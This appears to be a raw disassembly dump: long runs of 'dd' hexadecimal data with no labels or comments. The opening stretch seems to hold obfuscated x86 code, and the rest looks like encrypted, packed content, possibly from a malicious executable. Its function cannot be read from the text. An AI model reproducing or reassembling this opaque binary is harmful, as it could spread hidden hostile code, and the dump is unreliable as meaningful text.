		dd 0ECE98CEFh, 0DFBF0F0Bh, 2974EF81h, 0D08B7A0Fh, 0EE833E89h
		dd 6E904h, 56610000h, 4054B678h, 1E981h, 850F0000h, 0Ch
		dd 19E9F5h, 0DEEC0000h,	1F952C20h, 0E954D280h, 0FFFFFF9Eh
		dd 12372D5Ch, 2B6658h, 0E8320947h, 0Bh,	0C523EE97h, 59A77D5Fh
		dd 0FA9C471h, 8159DABFh, 0BD5442E7h, 0B3C18136h, 0BA000068h
		dd 21CFD390h, 0CA6DF281h, 318B21CFh, 0F33BC681h, 14E85532h
		dd 0F4000000h, 0DF8C1DB9h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h
		dd 819AA37Fh, 72B950E7h, 0EE815B6Bh, 13723A30h,	5099EE81h
		dd 0B70F0407h, 0CE856DAh, 29000000h, 85F945A7h,	0B3B601E4h
		dd 563E9505h, 5F586160h, 0CF81018Fh, 1F198ECCh,	6604E983h
		dd 16E7D381h, 0F01EA83h, 1885h,	31E900h, 661B0000h, 5D31E8E4h
		dd 54AEE76Dh, 0ABEEEFB8h, 0C7AE781Eh, 5890F45h,	0BB000000h
		dd 4BC5C294h, 0FFFF71E9h, 0C2D865FFh, 4DB852FFh, 70A254C8h
		dd 8DE188A1h, 1D7C98Dh,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 663CCF6Ah, 0EA81F88Bh
		dd 58453172h, 0CDD8D89h, 0CE805F9h, 0F0000000h,	300A3A7Eh
		dd 8F0E823Eh, 0BEFC7A7Bh, 4EC80768h, 0C185C75Eh, 1C05F926h
		dd 6A000064h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 8D6FC356h, 4A3036BDh, 60AB1356h
		dd 10E9h, 55D47F00h, 9676C34Fh,	443FAADEh, 0F3EE7BDh, 0C6E381FAh
		dd 61729DC2h, 0FD85C7h,	5F9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 98D2F1C3h
		dd 581E8B41h, 89D34CA2h, 0F917C99Dh, 0A1B58B05h, 6605F90Dh
		dd 0FFC0BDB8h, 0F91091B5h, 65958905h, 0FF05F90Bh, 0F920D595h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0D0803B59h, 0CDBD89EAh, 6A05F905h, 0ED95FF00h
		dd 8B05F91Ah, 0C409EBC0h, 0E53BD8D4h, 96550573h, 0ECE9h
		dd 0
		dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
		dd 8000007Ch, 27Ch, 5 dup(0)
		dd 80ADA000h, 7Ch, 2Bh dup(0)
		dd 200h, 0AB301400h, 3F4D4414h,	11426503h, 3353D06Ch, 754C6F54h
		dd 1564AA3Dh, 4E361132h, 1560063Dh, 0C5E74432h,	7614FE64h
		dd 0DCDB9253h, 15637103h, 0A8E54D47h, 109F3087h, 457F6532h
		dd 0ADA60361h, 15664023h, 3D8FA7BBh, 88EB14CBh,	109D7BB6h
		dd 4D3D97CDh, 7D39FB1h,	616614CBh, 0AD35D825h, 15664023h
		dd 3D8FA7BBh, 88EB14CBh, 109D7841h, 4D3D97CDh, 0CAE74452h
		dd 108E4F83h, 0CA668832h, 0B56C0E1Eh, 10ACA354h, 0EC074BDAh
		dd 0A4B60952h, 73524BEDh, 4607F1B9h, 0CDEFD2BBh, 944294B9h
		dd 156640F6h, 14EB2D32h, 0ED661132h, 0C29E35B1h, 1A664233h
		dd 1566A4B6h, 1569F832h, 15158832h, 0C0C21E0Dh,	0D2CD9F12h
		dd 0C88FD2CAh, 188FE854h, 0C8664432h, 76C74F2Dh, 0B6D35CCDh
		dd 0CF80837Ah, 15664CDAh, 5B717F32h, 0AEC70453h, 0EBEDEEDFh
		dd 90EB256Bh, 1367057Eh, 0BCDD7752h, 156B60C9h,	0C3464432h
		dd 3E1E338Ah, 53905450h, 94817CAFh, 0F0FA6DD0h,	0EA077B11h
		dd 9C6971E2h, 15668830h, 749EA681h, 321AA7BFh, 94691733h
		dd 1566883Eh, 1560CE3Dh, 93692232h, 15661132h, 0D39F58CDh
		dd 0EC7EDDB7h, 108F7437h, 0BC661132h, 166AE329h, 1575CA3Dh
		dd 1B8F2232h, 0A9661132h, 15AC0CC7h, 477BEBDEh,	4FFF35ACh
		dd 0AD34798Ch, 0EA93149Ah, 0EC6E9587h, 1563CB37h, 813F1132h
		dd 983D0C56h, 0E9A354B7h, 1DE22D37h, 1A661132h,	15668AB4h
		dd 0EA072432h, 90EFDAE2h, 109F01C3h, 156B033Dh,	94064432h
		dd 696707D9h, 12AEA813h, 0FC079DEBh, 1566443Ch,	970E0A5Dh
		dd 3B8899BAh, 92124E5Ch, 90A1B3A0h, 109F3673h, 15661132h
		dd 0C2D98752h, 0D30783B9h, 0EC7EBBB7h, 7D935437h, 9B14E15Bh
		dd 1567C03Dh, 1A932232h, 156610BEh, 0A0997432h,	109F632Bh
		dd 156AAF3Dh, 96691132h, 15668834h, 1566C53Dh, 90EB2232h
		dd 109F2B58h, 0FCB677CAh, 15664434h, 11BCE46Eh,	90EFB4E5h
		dd 109F9F13h, 156649DBh, 0C8E29432h, 0F2FE8921h, 0CF03CB61h
		dd 90A0FFD3h, 109F3AABh, 1563F871h, 0BF598832h,	7D18A4B4h
		dd 8901496Ch, 16E41E52h, 95668832h, 0AA00B0F5h,	0EA07AE0Ah
		dd 0EC410887h, 156E6137h, 0A1F64432h, 0E9388CA3h, 90EB3CD9h
		dd 109FB258h, 0C1BFB52h, 0D3EC35F6h, 0E9B6EE53h, 0C2860DBBh
		dd 95694233h, 1566223Ah, 15E11E52h, 74668832h, 156648DBh
		dd 71650932h, 1269BF7h,	1E4DD731h, 8CE38229h, 4163DB2Ah
		dd 15689F3Dh, 1C8F8832h, 3F664432h, 48670FFCh, 0CA86BC4Fh
		dd 770EA15Ah, 8ED4BDCh,	75662232h, 156600DAh, 6EC86C32h
		dd 86460F39h, 0CE8AEE31h, 31571A8h, 733F30D1h, 74B5DA8Bh
		dd 327F97CDh, 1A0614CBh, 15668ABFh, 740DF532h, 2F0CA7BFh
		dd 986914CBh, 1566883Ah, 730EF152h, 74451989h, 1A8FC1CDh
		dd 55668832h, 8E0599A6h, 36ECC449h, 20DF8D73h, 90EF3B17h
		dd 136793D6h, 15662ADBh, 0C7D9632h, 7B4A0BC6h, 8CE38206h
		dd 5063DB2Ah, 1561943Dh, 95698832h, 15664433h, 2DA44AC7h
		dd 0A506CB52h, 0A099E938h, 109F632Bh, 156628DBh, 51C50032h
		dd 0CDDB2FE3h, 985FDE18h, 0EC5C48B7h, 58FE437h,	74668832h
		dd 0C59E2A3Ah, 3F777888h, 0A1FF78BBh, 0EA7EE65Ah, 156DADE2h
		dd 4ECE2232h, 0E7C08953h, 183D4C89h, 0FDE3CD72h, 756023E5h
		dd 0A8E570C7h, 109F9FB7h, 19E34B32h, 0EC662233h, 15661BDBh
		dd 0B64FA332h, 0BA1A07AEh, 0D3D0C0DFh, 0EC7E88B7h, 0FD06CD37h
		dd 1566443Bh, 185B0E9h,	327F3D16h, 4EB803F6h, 1577AD53h
		dd 0ED692232h, 62237C49h, 980C5411h, 9AEFDCB8h,	7DF67AFEh
		dd 0EF466FB4h, 0CD377CBh, 0FC63BD15h, 1566223Fh, 0AD34EEF0h
		dd 0B732407Fh, 0F4EEE542h, 7FE3AFABh, 7563E808h, 156680DAh
		dd 0A52FAE32h, 190D399Bh, 0CDED7731h, 0EA077068h, 19EB4BE2h
		dd 1A662232h, 156617B5h, 15EA8732h, 9C664432h, 14B1CEB7h
		dd 90A0E434h, 109F90ABh, 0D60EBC7Eh, 0FC8604E2h, 15661138h
		dd 86F87E1Fh, 0EDE5A453h, 0A099B63Dh, 109F362Bh, 1562063Dh
		dd 0A1064432h, 90EB4392h, 109F2B58h, 15766052h,	756B4432h
		dd 1522069Eh, 0B268FB94h, 0BFDB1122h, 0CCEDED2Eh, 198F4368h
		dd 26661132h, 53420E44h, 4172D791h, 0EAE343ACh,	90EFE8E2h
		dd 13675FC2h, 156642DBh, 6564AC32h, 0FC2E2273h,	15668886h
		dd 0D307BD52h, 0EC7EBBB7h, 108F4337h, 20668832h, 0D297FC04h
		dd 5F822F5Ah, 0A099E88Eh, 109F8193h, 7FE3C9CEh,	0FC63DB08h
		dd 15661138h, 0FC320D1Bh, 5354457Ah, 0C599DC23h, 0DAD97752h
		dd 74B7035Fh, 156641DBh, 0BA187D32h, 90EF108Dh,	13675FDEh
		dd 13E64B52h, 1A662232h, 156611B2h, 0CD810832h,	8CE38253h
		dd 4763DB2Ah, 5F2E79C7h, 0EA9F2E7Eh, 0EC6FE587h, 156FCB37h
		dd 467A1132h, 44B28394h, 0FCA81317h, 1566223Ah,	7B680239h
		dd 182B4FD4h, 2F0CC1BFh, 420627CBh, 1566923Dh, 743C8832h
		dd 138F94CDh, 32662232h, 1C60424Eh, 0E5E301B1h,	0E96045E5h
		dd 0DFFA7F4h, 753414CBh, 156687DBh, 0B47CEF32h,	0E6033020h
		dd 137EA2E9h, 95B22482h, 1564CC3Dh, 4C342232h, 0A18C7953h
		dd 138F7570h, 81664432h, 22C1D96Eh, 14E21E1Eh, 0E0668832h
		dd 327FF1CDh, 730627CBh, 7688F0B3h, 44903154h, 0E64B53h
		dd 0FC662232h, 15661122h, 97E36FE8h, 18F38E71h,	3C421DF8h
		dd 0D7A3FD44h, 2F0C0DBFh, 9D6941CBh, 15662233h,	1AB6EECBh
		dd 15668FBAh, 9E002432h, 743874CCh, 1577903Dh, 198F8832h
		dd 0E8664432h, 0ABD8E5F3h, 5811FEE5h, 9C802C0Fh, 0EC7481B7h
		dd 0D3074237h, 0EC7E88B7h, 9069FF37h, 1566443Bh, 9069DB52h
		dd 15661132h, 0BDC5E053h, 9869B7A5h, 1566223Bh,	383EA952h
		dd 7406B424h, 1CD3BB53h, 0FC63DB13h, 1566113Ch,	3E463BB1h
		dd 59CB95D8h, 3C23F596h, 90EBEF47h, 109FB258h, 1AB6BBCEh
		dd 15662AB6h, 91DF7132h, 0E04E819Fh, 0EE84B53h,	1A662232h
		dd 156604B1h, 15766132h, 9B574432h, 0CD40640h, 272B3B8Fh
		dd 4FF39168h, 90EF0030h, 109F22FBh, 4E01ECAh, 75668832h
		dd 0FDBFF33Dh, 15662234h, 3DC00FC3h, 74384CDBh,	0DFFC1F4h
		dd 753427CBh, 156618DBh, 0C461DF32h, 6AF578B2h,	7D07705Eh
		dd 9FBB2025h, 0CD377CBh, 7563BD15h, 1560A23Dh, 9B691132h
		dd 15668832h, 1567CD3Dh, 749F2232h, 2F0C94BFh, 73068DCBh
		dd 7458888Dh, 9C9FF2CDh, 0EC72E4B7h, 15636137h,	7EDB4432h
		dd 0D327756Ch, 0EC7E88B7h, 7D9EDE37h, 0C179290Bh, 0A099DEC7h
		dd 109F19E3h, 156684DBh, 9DC34232h, 77E2EFB7h, 0FB86C76Ah
		dd 5E30524h, 1A63B8F7h,	156635BCh, 1574F832h, 3B728832h
		dd 0EB42BAC6h, 0C6A5B8E6h, 0E888389Eh, 23CAA200h, 9C6994CDh
		dd 1566223Ch, 156618DBh, 65D22932h, 0D26965F1h,	90EF26DEh
		dd 109F3663h, 0CCE7EE52h, 9E003B95h, 0D39A43FCh, 0EC7E88B7h
		dd 1E8FCF37h, 66664432h, 7343C45Eh, 80276BECh, 6F0ECE60h
		dd 0FCE79822h, 15662226h, 71DD43DAh, 53F53D0Fh,	7C834D62h
		dd 640BCD7Fh, 157F082h,	327F3DCDh, 989F41CBh, 0EC5C48B7h
		dd 1FE81E37h, 75668832h, 0A6A0C554h, 0D5D92D83h, 0FCB6EE53h
		dd 15668826h, 37ADC2E5h, 0C44ABE0Ch, 0E8F5CB4Dh, 44D97737h
		dd 0F3873BCCh, 0E7FA7BBh, 0D39314CBh, 0EC7E11B7h, 0A2060337h
		dd 7495A8E3h, 1AD3F35Ah, 5E987B8h, 75664432h, 0FC16E2B2h
		dd 15661134h
		dd 68461D0Dh, 0EA07EE00h, 0EC413B87h, 90EBE937h, 109FB258h
		dd 156655DBh, 6E6A6132h, 4C44F3h, 0B6165CEEh, 63915F27h
		dd 0C5991E40h, 5E398CAh, 0FC6089EAh, 15664420h,	0E3E8AF94h
		dd 0B3A5EE8Bh, 0EC4679C9h, 66AD7938h, 90A1C6A1h, 109F0107h
		dd 1566884Ah, 1568AD52h, 144C2232h, 0CAB3DC8Eh,	4FE9EFA9h
		dd 4C1CC2E6h, 74A09D3Dh, 190FACB1h, 1A668DCBh, 157E1BB6h
		dd 156ECB32h, 0C41132h,	9BA159D6h, 90A0179Ah, 109F3AABh
		dd 18EE1E7Eh, 75668832h, 1566C53Dh, 0DDD2232h, 746E1AC4h
		dd 0CF7A615Ah, 0AB0024EBh, 9369D205h, 15661138h, 15668DDBh
		dd 0F2279832h, 0FC07C880h, 1566113Ch, 0A3926EEFh, 0DBCE07DAh
		dd 0B5B1FB31h, 0A099FC43h, 109FAF2Bh, 156643DBh, 5EA6232h
		dd 519A0086h, 2F0C0DBFh, 0EA9341CBh, 1560CBE2h,	0C9681132h
		dd 0E954AFD5h, 0E9E3CDCAh, 0E06023E5h, 0DFF94F4h, 752A8DCBh
		dd 16E24BCAh, 73662232h, 7D07EBB9h, 0C81256FCh,	156BAD52h
		dd 399B2232h, 7494F5D2h, 17F339A3h, 9506D0D7h, 0EA072BD3h
		dd 0EC410887h, 156C6137h, 92404432h, 14FDD316h,	0D2FBBAB1h
		dd 2F0C0DBFh, 946941CBh, 15662227h, 1569903Dh, 1F8F8832h
		dd 4C664432h, 0EDE29135h, 63959B24h, 0ECB67774h, 0CD66C1BBh
		dd 0D39F2433h, 0EC7E88B7h, 128FC437h, 0FA664432h, 0A23D44FAh
		dd 73063763h, 613C48B3h, 97592C53h, 68F95B3h, 2F661132h
		dd 6393EEF8h, 0B4720AD2h, 66D4E4B6h, 0BF05E7DAh, 0A0995370h
		dd 109F632Bh, 7FE3AFCEh, 1A63E808h, 15669DBBh, 1576AD32h
		dd 0A4D12232h, 62DA1271h, 91910122h, 7C66297Eh,	0C5997BA0h
		dd 0FAE77752h, 0AC35649Ah, 7FA779F2h, 90EF436Dh, 1367C936h
		dd 0E7D18752h, 749DFB3Dh, 0DFFA7F4h, 1A2A14CBh,	15668FB9h
		dd 14EB4B32h, 0E9662232h, 156600DBh, 0B78E5732h, 62AC710Eh
		dd 21E23D0Ch, 0CEE1B2A8h, 0D0E4AE5h, 1AD56B72h,	156634B1h
		dd 1A8F7132h, 0F0668832h, 0E60740EEh, 98CCB625h, 72ADF078h
		dd 0EA07730Dh, 0EC415D87h, 1568CB37h, 23FC1132h, 659723C5h
		dd 7348D2F4h, 0FE1E73E3h, 2F0C94BFh, 96698DCBh,	15664435h
		dd 1567AD3Dh, 0ED931132h, 9A6958CDh, 15664433h,	19ED2DCBh
		dd 1A661132h, 15668EB2h, 15E24B32h, 9C662232h, 14BE15B7h
		dd 14E88734h, 0ED664432h, 8CE3E4C7h, 5363E82Ah,	15668EDBh
		dd 4702532h, 7DFB57DCh,	0AFB81726h, 1561053Dh, 92694432h
		dd 15662233h, 0CD3EECAh, 0ED637115h, 2F0CC1BFh,	9B6927CBh
		dd 15661133h, 0FCB677CEh, 1566443Bh, 79C5DB49h,	577B8EC4h
		dd 90EF7036h, 13679C3Eh, 156625DBh, 1E4E9932h, 94FDF934h
		dd 94692452h, 15662232h, 15669D3Dh, 9E078832h, 90A025F1h
		dd 109F3AABh, 0F0E67175h, 156361A2h, 8A7A4432h,	7432B1D1h
		dd 0C9766B5Ah, 156861B3h, 7DDF4432h, 3A5AFECFh,	239A0A4Eh
		dd 0B0550483h, 327FF1CDh, 1C8F27CBh, 0C1661132h, 311DC9DAh
		dd 0E5F8D157h, 2F0CA7BFh, 730614CBh, 7354B88Dh,	4DAA4B3h
		dd 0FCB6DD53h, 15661135h, 565E62D2h, 9CD3594Ah,	14BE36B7h
		dd 156FF834h, 50C98832h, 72F02583h, 0D3382972h,	0EC7E88B7h
		dd 9406CF37h, 0BF3B78F9h, 0B90E4300h, 1A8996BCh, 15668BB3h
		dd 749E2432h, 327F97CDh, 989314CBh, 0EC5CE2B7h,	0DAE72437h
		dd 299A66D8h, 0F121A854h, 0E9B67753h, 0CD7EC1BBh, 188F2433h
		dd 6D661132h, 0FB0DA59Ah, 0BD19AB9Dh, 9B812D8h,	0DFF94F4h
		dd 0FC218DCBh, 1566443Bh, 6BCDD48h, 0A4F9AB9Dh,	15766189h
		dd 0EB104432h, 0EB4A5104h, 0F6734A1Eh, 17BAB333h, 0C70E4094h
		dd 1AB2B895h, 156610B5h, 0A0997D32h, 109F632Bh,	1AA8A352h
		dd 743BC2FEh, 2F0C0DBFh, 0EA9E41CBh, 14EE2DE2h,	0ED661132h
		dd 0CD7A0DBBh, 1A9E4233h, 156630B2h, 156BF832h,	35488832h
		dd 51207B2Eh, 13E71078h, 0D32E3CADh, 0EC7E11B7h, 75060337h
		dd 89DFE8B9h, 742FAAB3h, 15746152h, 0BBF54432h,	0BA38519Ah
		dd 22FDDE2Dh, 2C2BB372h, 12548CD9h, 0D5BFA354h,	0FC0770B7h
		dd 15668837h, 61CFB7A1h, 2C624A72h, 7306ABF3h, 259B48B3h
		dd 74ACCF54h, 0CD3DDCEh, 0E063E815h, 2F0C0DBFh,	1A0641CBh
		dd 156623B0h, 0EA07E932h, 157261E2h, 81074432h,	0B97726BEh
		dd 0F4852475h, 46D82AD0h, 3F7E435Ah, 90EF0368h,	1367C912h
		dd 2CDB0BCAh, 1563BD26h, 15C7A73Dh, 1A061132h, 98697185h
		dd 15664430h, 0D3076B84h, 0EC7E88B7h, 9369CF37h, 15664424h
		dd 156633DBh, 0F026D032h, 4C7C3D8h, 0D5254475h,	0C172312Bh
		dd 720E50DAh, 0E086FA1Fh, 1567CF3Dh, 0EA932232h, 0EC410887h
		dd 0E9ECE837h, 156654DBh, 0D74A3532h, 4A51C139h, 3F81E1CDh
		dd 7C34723Dh, 90EB43CEh, 109F2B58h, 0DFE7EE52h,	0D4EDF5B5h
		dd 1AB6DD53h, 15661EBCh, 156C6132h, 690C4432h, 0F686A336h
		dd 0F342B710h, 0CD420DBBh, 18F4233h, 0C4662232h, 9E37538Ah
		dd 0A95F2CBCh, 2379E477h, 34A1A890h, 0D3FB01D9h, 0EC7E11B7h
		dd 0FD060337h, 15662235h, 3137741Ah, 0FC98AA39h, 15664423h
		dd 3D7652F9h, 1B068E11h, 6A2B718Fh, 898F1454h, 749E7CF3h
		dd 3CD5A05Ah, 0A0997DBCh, 109F632Bh, 15662EDBh,	87EF5432h
		dd 0D0AC1B8Bh, 9E5082A2h, 7FE3AFA7h, 7563E808h,	6AA90964h
		dd 4A630547h, 7486D4B2h, 15661DDBh, 0FC60BB32h,	7DBE9F08h
		dd 0EB8BF120h, 75B6EED1h, 1ABC3F3Dh, 156642BDh,	15EB2D32h
		dd 74661132h, 0CD4E0DBBh, 96694233h, 15662235h,	15679F3Dh
		dd 0D39E8832h, 0EC7EDDB7h, 1A8F6137h, 9C661132h, 0E928108Bh
		dd 36041549h, 0B97815EBh, 0B20E9B78h, 0E0A6FE78h, 327FF1CDh
		dd 1E8F27CBh, 0C8661132h, 7907EF5Fh, 81A5317Eh,	0AF06AC24h
		dd 21487D42h, 156D6052h, 0A8A14432h, 71A07C8Ah,	0FF6560ACh
		dd 4E35D7EBh, 90EB2553h, 109F1858h, 0E0B6EEC7h,	0CD4A0DBBh
		dd 9E064233h, 0F6E744C5h, 0D307FE54h, 0EC7E11B7h, 7D9A0837h
		dd 0EE004ED9h, 1CD3EECAh, 1A637113h, 156658B9h,	3E52D32h
		dd 0FC661132h, 15668823h, 0B21C2835h, 97FD3E6Eh, 89F260BBh
		dd 0A17D3CB0h, 7FE3C900h, 0FC63DB08h, 15661122h, 60BB162Ah
		dd 90DABD78h, 3166F0BBh, 0DF48637Ah, 58F58CDh, 0FD664432h
		dd 0BAD5A21Ch, 6721B2E8h, 8EFF8E51h, 9CFEAF5Bh,	14BEE2B7h
		dd 0D3E77134h, 62568FECh, 15664CDAh, 22B8CF32h,	551084BFh
		dd 15766172h, 47C94432h, 0EE258B3Ah, 9D4E1E8Eh,	763E9D3Ch
		dd 743C0916h, 0DFFA7F4h, 0FC2214CBh, 1566883Dh,	0DF823CF6h
		dd 418570D2h, 3FFBAADh,	7DA7D78Bh, 0AE15CA67h, 1562A93Dh
		dd 9F061132h, 0A099E9E8h, 109F632Bh, 15662CDBh,	1A1AB232h
		dd 90F33ADAh, 0BFEF897Ah, 0FC92E892h, 15661135h, 0DBAB1B6h
		dd 98D2D0DBh, 0EC5C48B7h, 14ED1E37h, 0ED668832h, 9D6994CDh
		dd 15662237h, 0CDD11E52h, 25E30153h, 1A6045EAh,	156625B5h
		dd 14E91E32h, 0ED668832h, 0DFFC1F4h, 1A2527CBh,	156606B6h
		dd 1F8FE832h, 42664432h, 1F42683Ch, 80C0C448h, 15E187E3h
		dd 74664432h, 9B08DE5Ah, 0A099ED8Eh, 109FAF2Bh,	7FE3C9C7h
		dd 0FC63DB08h, 15661135h, 1B1B8CCAh, 0EA403602h, 9C9EDBE2h
		dd 14BE25B7h, 4E28734h,	0FC664432h, 1566223Eh, 7A9B5C85h
		dd 0C4EFAA5Eh, 0B4946080h, 69DC4452h, 0AA839162h, 8CE34E53h
		dd 4663BD2Ah, 156625DBh, 5CE93D32h, 18BD9DD1h, 558EE5Ah
		dd 0A099DBF4h, 109F362Bh
		dd 7FE305CEh, 1A63BD08h, 15662EBEh, 13E41E32h, 1A668832h
		dd 156644B9h, 0FCB6DD32h, 15661134h, 0F9B7B316h, 90EFB05Ch
		dd 1367FA0Ah, 156605DBh, 0E69F2332h, 47EADE9Dh,	435585C5h
		dd 0CCAD22B8h, 0A93DBDFDh, 38DBC75Dh, 1563DB19h, 16B0953Dh
		dd 96698832h, 15664435h, 1567AD3Dh, 0FC9F1132h,	15668822h
		dd 0B31D1F18h, 0C2141191h, 742179A1h, 1CA5507Eh, 0DFFC1F4h
		dd 0FC2027CBh, 1566113Ah, 9F6D24A7h, 0B5BD66E4h, 83A8135Ah
		dd 18EC1EC8h, 75668832h, 1566CA3Dh, 94002232h, 745F45DAh
		dd 327F3DCDh, 0AF0641CBh, 77B1D395h, 0D2CAD0B3h, 980799DDh
		dd 0EC5C2EB7h, 9EF2D37h, 75661132h, 156686DAh, 0CEF39432h
		dd 62E4D3BFh, 5DEF7AB4h, 4AADAE13h, 1566CC3Dh, 75072232h
		dd 0FC062187h, 1566883Ah, 806771CFh, 3CFB0FA0h,	74077052h
		dd 0FD0658CDh, 15664438h, 0E6718A10h, 10F2D93Fh, 0C4ED0512h
		dd 580C568h, 747D81DEh,	0CDF294BBh, 108F8E33h, 23664432h
		dd 2328705Fh, 0DFF94F4h, 0EC208DCBh, 0B25C925Ah, 1561CBCEh
		dd 0FB9B1132h, 0D5E2B33Bh, 0CD3BB22h, 0E963DB15h, 2F0C94BFh
		dd 43068DCBh, 15664BDBh, 5D033B32h, 0A5FC9A1Fh,	4AE0FB62h
		dd 869E3306h, 74BA9568h, 9C9AC1CDh, 14BE2CB7h, 1EE54B34h
		dd 75662232h, 9451E3B2h, 70991ED5h, 90A02571h, 109F3AABh
		dd 1576F874h, 0EF3D8832h, 0DF843DB9h, 0B91CE98Ch, 1656F4D4h
		dd 150EFA69h, 0FCF4B896h, 1566223Ah, 84254E19h,	813133B1h
		dd 327FF1CDh, 68F27CBh,	3D661132h, 95598E13h, 4571CB68h
		dd 3774B3C2h, 0C99CE3CDh, 90EB4121h, 109F7E58h,	156632DBh
		dd 2987A432h, 29A4A7D0h, 0F644CE7h, 0E056A5C0h,	0FCB6EEA2h
		dd 1566883Dh, 0EDB9B8A0h, 0A2F2C019h, 0A21E9CF2h, 9CCDFD76h
		dd 14BEECB7h, 0CEC2D34h, 0FC661132h, 15668826h,	12B6FFDCh
		dd 20093E42h, 62ED9949h, 0B1D0802Bh, 0A15A5753h, 0DFFA7F4h
		dd 752014CBh, 17B9C389h, 9424FC45h, 7D077822h, 0E3B25E58h
		dd 4C35E852h, 1566CC3Dh, 0FD072232h, 15661123h,	41CD2487h
		dd 3ED76BD5h, 89EBBE67h, 0AE196937h, 156F61A1h,	13C14432h
		dd 0ECA478E7h, 4C6ECFB6h, 0CD37753h, 1A63BD15h,	15662FBDh
		dd 156EF832h, 0EA358832h, 0FA691DCFh, 90EB17EDh, 109F2B58h
		dd 1EE68752h, 0FC664432h, 15662234h, 0D8F7745Ah, 18F636Ah
		dd 0EE664432h, 431FF5CAh, 38FF7172h, 38831DA0h,	266C0B14h
		dd 741DAA79h, 108FC1CDh, 8F668832h, 2FC63E35h, 0CDCAA7BBh
		dd 92691733h, 15668833h, 8CE382C7h, 5363DB2Ah, 156614DBh
		dd 95CB9532h, 0F20E26CAh, 0FCF2EF62h, 15661138h, 56A6C512h
		dd 162F2B32h, 0A0995870h, 109F362Bh, 0D963252h,	98076F3Ah
		dd 0EC5C48B7h, 14E81E37h, 0ED668832h, 78F94CDh,	0AF662232h
		dd 0FD9B8DD7h, 0B53882E2h, 91D17CCCh, 0DF2FB6BEh, 8DE398E1h
		dd 756089EAh, 0FDBDFB3Dh, 15662221h, 0EFEA33F3h, 82962E84h
		dd 0B9C09E2Ah, 0F6A54840h, 455F2BE5h, 0D307D16Bh, 0EC7EDDB7h
		dd 7D936437h, 0A4446509h, 0CD377CAh, 7563BD15h,	1565A63Dh
		dd 0E6E61132h, 1575611Fh, 0BC744432h, 0EDBCE067h, 1519462Eh
		dd 0A4638F79h, 0E10C6913h, 90EB43E8h, 109F2B58h, 0FCB677CEh
		dd 15664421h, 12D84CE4h, 0E34DED2Ch, 0CB1F07EEh, 9CC38559h
		dd 9C3E7C00h, 14BE8DB7h, 156A6134h, 18E44432h, 11961F33h
		dd 0C20DC587h, 90A0EFA0h, 109F5CABh, 188F4274h,	92661132h
		dd 66AC6184h, 42C4E1D2h, 0A557E787h, 7D07F183h,	0CA1F62DFh
		dd 7AA2C452h, 1EB4A354h, 0A0997082h, 109FAF2Bh,	7FE3C9CEh
		dd 1A63DB08h, 156610B8h, 0C5997D32h, 2EB4B52h, 0FC662232h
		dd 15661120h, 4EBF36Ah,	0E6375EC9h, 0D1E8C9B5h,	11B045BEh
		dd 9C071DF1h, 14BEE4B7h, 0AC004234h, 9269FCD8h,	15668831h
		dd 742E8CB2h, 15F9FB1h,	1A6614CBh, 1566FEB7h, 9E002432h
		dd 1560CBF4h, 5AD31132h, 214CE291h, 8CE38253h, 4663DB2Ah
		dd 156619DBh, 0BEF4BB32h, 7D35670h, 0F5384AECh,	9506DF8Ch
		dd 0FC310BF1h, 15664426h, 3E2D3A5h, 5A18EE8Ch, 0DA8DDEE0h
		dd 2D8ED185h, 6A4665C3h, 0A099706Ah, 109FAF2Bh,	7FE3C9C7h
		dd 0E963DB08h, 0A706C1CDh, 74AD02ADh, 0CD5AC1BBh, 198F2433h
		dd 0DC661132h, 0BD477A96h, 46AD991Eh, 0D3CF46D5h, 0EC7E88B7h
		dd 7D9ECF37h, 0D2D71AB5h, 156631DBh, 0F1F2C832h, 0A70DF944h
		dd 52AB0214h, 0DB7D647Eh, 8EAF853Eh, 327F3DCDh,	48F41CBh
		dd 36662232h, 6DB65721h, 0A351E952h, 0BEEF48EBh, 0A4C46561h
		dd 2F0C94BFh, 93698DCBh, 15664433h, 0FCB6DDCAh,	15661139h
		dd 0ED07B3A6h, 96DBCC7Fh, 9CD22F35h, 14BE51B7h,	0A8E57434h
		dd 109F500Bh, 9AE32D32h, 1A661132h, 156689B8h, 90A0B132h
		dd 109F3AABh, 0AA697175h, 0F2E7EEF1h, 7D07F316h, 0F3045C37h
		dd 1560F952h, 0FE428832h, 0A86A9E7h, 4EBC9D3Dh,	746CCEB2h
		dd 0CD377CBh, 7563BD15h, 1564AC3Dh, 0DBEC1132h,	98077FB9h
		dd 0EC5C2EB7h, 0DEED4237h, 0CE75F3B3h, 0EA07A68Ch, 0FC06BCE2h
		dd 15662226h, 17E0BDA8h, 5F20158Ah, 0DDD27DDEh,	0F7054C07h
		dd 0B67D702Eh, 15640B3Dh, 74064432h, 51E3AB53h,	0FC6010EAh
		dd 15668838h, 335533E7h, 7DC38417h, 90A05D6Bh, 109F90ABh
		dd 48F2471h, 0BA662232h, 2F7EE64Fh, 901204D6h, 1BE03403h
		dd 0A3AD08F9h, 156605DBh, 4012D432h, 0DF9701DDh, 0A1129F59h
		dd 0FCAEF977h, 0DE01A96h, 1B8F2551h, 36662232h,	886C48CCh
		dd 0F75C2E62h, 5553D6BFh, 1C904A7Bh, 58F8348h, 38668832h
		dd 319F93Eh, 72438325h,	68F0D61Bh, 0EA8E282Ah, 0EC415D87h
		dd 14EE2D37h, 0ED661132h, 7FE305CAh, 7563BD08h,	1AACA954h
		dd 0EA07DB8Dh, 4E487E2h, 0FC664432h, 1566223Eh,	61D21402h
		dd 7CF7C1DFh, 3B0E3043h, 0CD2EA7BBh, 73061733h,	0DB225BB3h
		dd 156643DBh, 34414E32h, 88F036F9h, 8CE34E53h, 5663BD2Ah
		dd 2E42D52h, 0FC661132h, 15668820h, 549440E5h, 8521F6Fh
		dd 752B51ABh, 0F9BE87DEh, 7D072A95h, 0E947B512h, 15689B3Dh
		dd 94068832h, 0DB473AC1h, 15E02D6Ah, 74661132h,	0C6ED7D52h
		dd 0CD3BB53h, 0FC63DB15h, 15661122h, 92F7370Dh,	4EA99B5Bh
		dd 8026B31Ch, 0C0332B79h, 2F0C0DBFh, 198F41CBh,	51662232h
